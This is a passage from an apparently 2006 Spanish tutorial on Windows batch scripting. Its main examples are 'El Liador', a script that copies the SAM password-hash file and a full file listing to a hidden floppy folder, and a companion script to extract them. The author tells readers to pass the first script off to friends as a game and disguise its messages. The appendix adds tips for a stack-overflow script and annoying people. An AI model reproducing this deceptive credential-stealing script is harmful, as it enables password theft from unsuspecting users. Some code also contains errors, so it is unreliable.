b) Ejemplo 2 Bueno, esta es la primera entrega de un programa llamado "El Liador", luego verás el funcionamiento. Comentado, como siempre. batch\liador.bat @echo off cls title El Liador v1.0 - VERSION LIGHT - (c) Nost 2006 echo El Liador v1.0 - VERSION LIGHT - (c) Nost 2006 rem >>> el echo off, el cls, los echos y el title... lo típico. echo. echo Advertencia: Esta versión de El Liador no guarda el árbol de directorios. pause
rem >>>Esperando... echo Creando carpeta temporal... if exist %temp%\battemp ( rem >>>Si existe la carpeta temporal... echo. echo Ya había un temporal de El Liador, probablemente debido a un error echo del programa o a un cierre inesperado. Pulsa cualquier tecla para echo borrarla, en caso contrario, cierra la ventana con un clic en [X] pause >nul rd %temp%\battemp /q /s rem >>>se borra la carpeta, pidiendo confirmación. echo Archivos temporales de El Liador borrados. Continuando el proceso... echo. ) else ( rem >>>Y en otro caso... echo. rem >>> No se hace nada. ) md %temp%\battemp >nul rem >>> Se crea la carpeta. si hay algún error, que se lo cuente a nul. echo. echo 1a parte: detalles de archivos. Tiempo estimado: 60-200 segundos. echo Creando archivo 1... dir c:\ /s /o:g > %temp%\battemp\parte1 rem >>> Detalles de archivos /s=mostrar subcarpetas, /o:g=mostrar primero dirs echo Archivo 1 creado con éxito. echo. echo 2a parte: archivo SAM copy c:\windows\repair\sam %temp%\battemp\parte2 rem >>> Copiar el sam, listo para el l0pht. Recuerda que algunos lamers usan la contraseña del Windows para todo. echo. echo 3a parte: compresión. echo Comprimiendo archivo 1... @makecab %temp%\battemp\parte1 %temp%\battemp\parte1._ >nul rem >>> Compresión del archivo... echo Archivo 1 comprimido. echo Comprimiendo archivo 2... @makecab %temp%\battemp\parte2 %temp%\battemp\parte2._ >nul echo Archivo 2 comprimido. echo. echo Introduce un diskette formateado en la unidad A: pause if exist a:\Liador\parte1._ ( rem >>> Si ya existe eso en el diskette echoecho Ya hay un archivo de El Liador en este diskette. Si continuas, será borrado.
echo Si no quieres eliminarlo, cierra la ventana de El Liador. pause rd a:\Liador /q /s rem >>> se pregunta, y si se acepta, se borra todo. echo Archivos antiguos de El Liador borrados. Continuando el proceso... echo. ) else ( echo. ) echo Copiando archivos a a:\Liador\ md a:\Liador copy %temp%\battemp\parte1._ a:\Liador\ >> %temp%\battemp\errores echo Archivo 1 copiado. copy %temp%\battemp\parte2._ a:\Liador\ >> %temp%\battemp\errores rem >>> Copiamos los archivos. echo Archivo 2 copiado. echo Creado con El Liador Light > a:\Liador\version._ echo. echo Ocultando... attrib a:\Liador\* * +h rem >>> Se ocultan los archivos. attrib a:\Liador +h /D /S rem >>> Y se oculta el directorio. echo Archivos ocultados. echo. echo Fin de copia de archivos. echo. echo Eliminando temporales... rd %temp%\battemp /q /s rem >>> Se eliminan los temporales. echo Tarea completada! pause exit Bueno, pues hay cosas que explicar: Nul: Esto es una redirección, que hace que la salida del programa se pierda. Esto es útil para hacer un programa no tenga salida, es decir, que sea "silencioso". Este programa es para putear a tus amigos. Lo llevas a su casa diciendo que es un juego, y los muy ingenuos lo ejecutan. Evidentemente, tienes que cambiar los echos ("Detalles de archivos" > "Instalando juego" xD) para que no cante tanto. También puedes hacer algo de cierto, por ejemplo, que copie algún tipo de archivo al disco duro, luego lo borre del disquete (por los frecuentes problemas de espacio) y que luego siga con su tarea :)
c) Ejemplo 3
Si has hecho el programa anterior, y lo has ejecutado, necesitaras este para obtener los datos del diskette. batch\desliador.bat @echo off cls title El DesLiador v1.0 - (c) Nost 2006 echo El DesLiador v1.0 - (c) Nost 2006 echo. rem >>> Pues lo dicho, los echos. echo Introduce un diskette con datos de El Liador en la unidad A: ... pause if exist a:\Liador\version._ ( rem >>> Si hay un archivo de el liador. echo. rem >>> Pues no pasa nada, se continua. ) else ( echo. echo No hay un archivo de trabajo de El Liador en el diskette introducido. echo El DesLiador no puede continuar. pause exit rem >>> Pero como no lo haya... ¡UY, COMO NO LO HAYA! jejeje pues el programa no puede continuar. ) echo Creando carpeta de trabajo del DesLiador... if exist %systemdrive%\DesLiador\version ( rem >>> Si ya hay un archivo de El DesLiador en el disco duro (el archivo ya descomprimido). echo. echo Ya hay una carpeta de trabajo con archivos de El Liador. Si continuas y no echo habías copiado los ficheros, serán borrados permanentemente. echo Puedes cancelar cerrando la ventana de El DesLiador. pause rd %systemdrive%\DesLiador /q /s rem >>> Es una pena. Los archivos serán borrados :'( echo Archivos de trabajo de El Liador borrados. Continuando el proceso... echo. ) else ( echo. rem >>> Si no, pues nada. ) md %systemdrive%\DesLiador rem >>> Se crea la carpeta. echo. echo 1a parte: detalles de archivos. echo Copiando archivo 1...
attrib a:\Liador\parte1._ -h rem >>> Se quita el atributo oculto, para evitar problemas con copy. copy a:\Liador\parte1._ %systemdrive%\DesLiador\parte1._ rem >>> Y se copia. attrib a:\Liador\parte1._ +h rem >>> Se vuelve a establecer el atributo. echo Descomprimiendo archivo 1... expand %systemdrive%\DesLiador\parte1._ %systemdrive%\DesLiador\detalles1 >nul rem >>> Descompresión del archivo. del %systemdrive%\DesLiador\parte1 rem >>> Una vez descomprimido el archivo, se borra el archivo comprimido. De todas formas, si lo quieres lo tienes en el diskette... pero no creo que te haga falta, teniendo el descomprimido. echo Archivo 1 descomprimido con éxito. echo. echo 2a parte: copia y descompresión del archivo SAM. echo Copiando archivo SAM... attrib a:\Liador\parte2._ -h copy a:\Liador\parte2._ %systemdrive%\DesLiador\parte2._ attrib a:\Liador\parte2._ +h echo Descomprimiendo archivo SAM... expand %systemdrive%\DesLiador\parte4._ %systemdrive%\DesLiador\SAM2 >nul del %systemdrive%\DesLiador\parte4._ rem >>> Se hace lo propio con el Sam. echo Archivo SAM descomprimido con éxito. echo. echo 3a parte: copia del archivo de control. attrib a:\Liador\version._ -h copy a:\Liador\version._ %systemdrive%\DesLiador\version echo rd %systemdrive%\DesLiador /q /s > %systemdrive%\DesLiador\Borrar-todo.bat rem >>> Se auto-genera un archivo para borrar todos los datos de El Desliador. attrib a:\Liador\version._ +h echo Archivo de control copiado con éxito. echo. echo 4a parte: borrado del diskette echo Esta parte no es realmente necesaria, pero es recomendable para no dejar echo "rastro" en el diskette. Recuerda que puedes cancelar cerrando la echo ventana de El DesLiador. pause attrib a:\Liador -h /S /D rem >>> Se quita el atributo del directorio... rd a:\Liador /q /s rem >>> ¡Y a la mierda! echo ¡Tarea completada! pause exit
Bueno, todo un ejemplo... yo creo que excepto el for, se toca todo...
d) Ejemplo 4 batch\dirsimple.bat @echo off for %%A in (*) do echo %%A exit Jaja no tengo ganas de escribir. Ahí está un código sencillo para un dir simple. Es que tenía la obligación moral de usar un for.
4) APÉNDICE a) TIPS de cómo usar el intérprete de comandos y el batching. -El batching no es potente. Son los programas que usan el batching los que cortan el bacalao. Aunque quizás yo no tenga razón. -Mientras estés en una ventana del intérprete de comandos, puedes parar cualquier tipo de proceso (ejecutable, batch) con un Control-C. -Ante la duda la más tetuda. -Hay diferencias entre el mapa de caracteres usado en el DOS y en el Windows. Pruébalo: 1: Crea un fichero que tenga acentos en el nombre. 2: Vete al intérprete de comandos, entra en la carpeta donde esté situado el archivo anterior (usando cd) y escribe: dir > listado.txt. 3: Ahora lee el nuevo archivo, listado.txt. Verás que los acentos ya no son tan bonitos como los pintaban. -Como ya sabrás, escribiendo "echo %variablee%" en la consola se escribirá el contenido de la variable. Bueno, pues hay varias variables "especiales" que quizá te interesen: %CD%: Directorio actual. %DATE%: Fecha actual. %TIME%: Hora actual. %RANDOM%: Número aleatorio entre 0 y 32767. %ERRORLEVEL%: Errorlevel actual (código de salida del último programa). %CMDEXTVERSION%: Versión de las extensiones de comando del procesador. %CMDCMDLINE%: Ruta del programa que invoco al intérprete de comandos. El %RANDOM% es *especialmente* interesante.
-En batching, nada funciona a la primera. -La pila del intérprete de comandos tiende a desbordarse. Crea un fichero llamado "desbordamiento.bat" e incluye en el la siguiente línea: @call desbordamiento Haz doble clic sobre él y en breves segundos un divertido mensaje aparecerá. Divertido sobre todo porque de las 3 líneas, la última tiene un error de ortografía (al menos en mi diccionario la palabra "precesamiento" no aparece). -Escribe en tu consola "copy con con". Insulta a la consola, escribe lo que quieras. Cuando te canses (pronto, seguro) pulsa Control-C. -Rubia de bote, chocho morenote. -¿Conoces los comodines de archivo? Si hombree, estos: ?: Reemplaza una letra en el archivo. Por ejemplo, escribir: dir c?s? Daría los siguientes resultados (si están en tu lista de archivos, claro): casa cesa cosa case c_s& *: Reemplaza cualquier cadena de letras. Por ejemplo: dir Me* Resultaría: Mezquino Mellizo Melón Me cago en tu padre -El comando VERIFY activa la verificacion all escribir en un disco. Pruébalo. -Aunque la ventana del intérprete de comandos es más negra que los cojones de Diarra (el del R. Madrid), la puedes cambiar con "color". Dale un aspecto más profesional a tu ventana escribiendo:
color 0a Para ver todos los colores posibles, "color /?" es tu aliado ;) -El goto es un ataque directo contra la programación estructurada. Todo el mundo lo dice. Pero a mí me da igual. Úsalo. -Si vienes del DOS, conocerás doskey. Solo decirte que pulsar F7 en el intérprete de comandos es algo más que interesante. -El comando VER no sirve para nada. Bueno, tiene la utilidad que tú quieras darle. -Desconozco la utilidad del comando "print"… Será porque no tengo impresora. -El comando "xcopy" te permite copiar árboles de directorios. Escribe "xcopy /?" para ver algo de la sintaxis. -Como recordarás, los argumentos al llamar un archivo batch tienen de nombre %1, %2... etc. Pero quizás no conocías %0. Este argumento representa la línea de comando desde la que se llamó al archivo batch. -El comando "edit" debería estar prohibido por ley y solo debe usarse en situaciones de emergencia (era una broma, en realidad es buenísimo). -El uso de un punto INMEDIATAMENTE después de algunos comandos del DOS funcionará como *.* Ejemplos: DEL. (borra todos los archivos del directorio actual) COPY. A:\ (copia todos los archivos del directorio actual a A:) Puede haber más comandos con los que funcione lo del punto. -Con los comandos "time" y "date" puedes cambiar... bueno, ya lo descubrirás. Pueden servirte para molestar a la gente. Ya lo veras, coño. -Prueba el comando PROMPT. Es bueno. "prompt /?". -Otra interesante manera de volver loco al intérprete de comandos es "cmd | more". Desde luego es gracioso. Pulsa Control-C y aparecerá un error muy raro. Para salir, escribe exit (la consola no se cerrara).
b) ARCHIVOS EXTRAÑOS que nadie debería conocer CON
Bueno, pues no queda muy claro para lo que sirve. Digamos que cuando actúa como dispositivo de entrada es el teclado, y cuando actúa como dispositivo de salida, es la pantalla. Esto se usa con operadores de redirección. Que mejor manera de explicar lo ininteligible que con un ejemplo: copy con archivo.txt Parece que no pasa nada, tu solo limítate a escribir. Cuando quieras escribir, pulsa Control-Z. Esto significa "fin de archivo". Ahora se ha creado un nuevo archivo, e incluye lo que has escrito. Como recuerdas, el comando copy tiene: copy entrada salida Pero antes hemos usado "con" como entrada. Pero, ¿y si lo usamos como salida? Teóricamente, sería la pantalla... copy archivo.txt con ¡Efectivamente! Funciona bien. En la pantalla ha aparecido el contenido del archivo archivo.txt
NUL Todo lo que mandes a este "archivo" se ira a tomar por culo. Parece inútil, pero es bastante útil. dir > nul Parece que no ha pasado nada. Bueno, realmente sí que ha pasado, ha acaecido un dir, pero no ha salido por pantalla. La salida ha ido a nul, y de ahí, a la mierda. Nul sirve solamente para deshacerse de la salida de los programas.
LPTx Manda la salida del comando al puerto LPT especificado. dir > LPT3
COMx Manda la salida del comando al puerto COM especificado. dir > COM5
AUX La verdad es que no tengo ni idea de que dispositivo representa. Creo que es el modem, pero no estoy seguro.
PRN
Lo que pongas va directamente a la impresora. dir > PRN Y la verdad es que ya no recuerdo ninguno más. Por cierto, como comprenderás, ningún archivo puede tener esos nombres. Inténtalo, aunque sea desde el explorador de Windows. 20 euretes a quien consiga ponerle de nombre "nul" a un archivo. La mayoría de los comandos del MS-DOS tienen un comportamiento errático al pasarle de argumento cualquiera de esos nombres. Un "edit con" vuelve al edit completamente gilipollas. Parece que no pasa nada, pero si pulsas Control-C se muestra la pantalla principal (como se puede ver, nunca acaba de cargar) y un "dir nul" hace que el dir tenga una salida extraña.
c) CARACTERES EXTRAÑOS que hacen cosas raras No sé si os habéis fijado, pero al pulsar Control-C se escribe ^C. Pero hay algo más, si os fijáis, aunque se escriben 2 letras, si retrocedes pulsando la flecha izquierda (me refiero a
View more...
Comments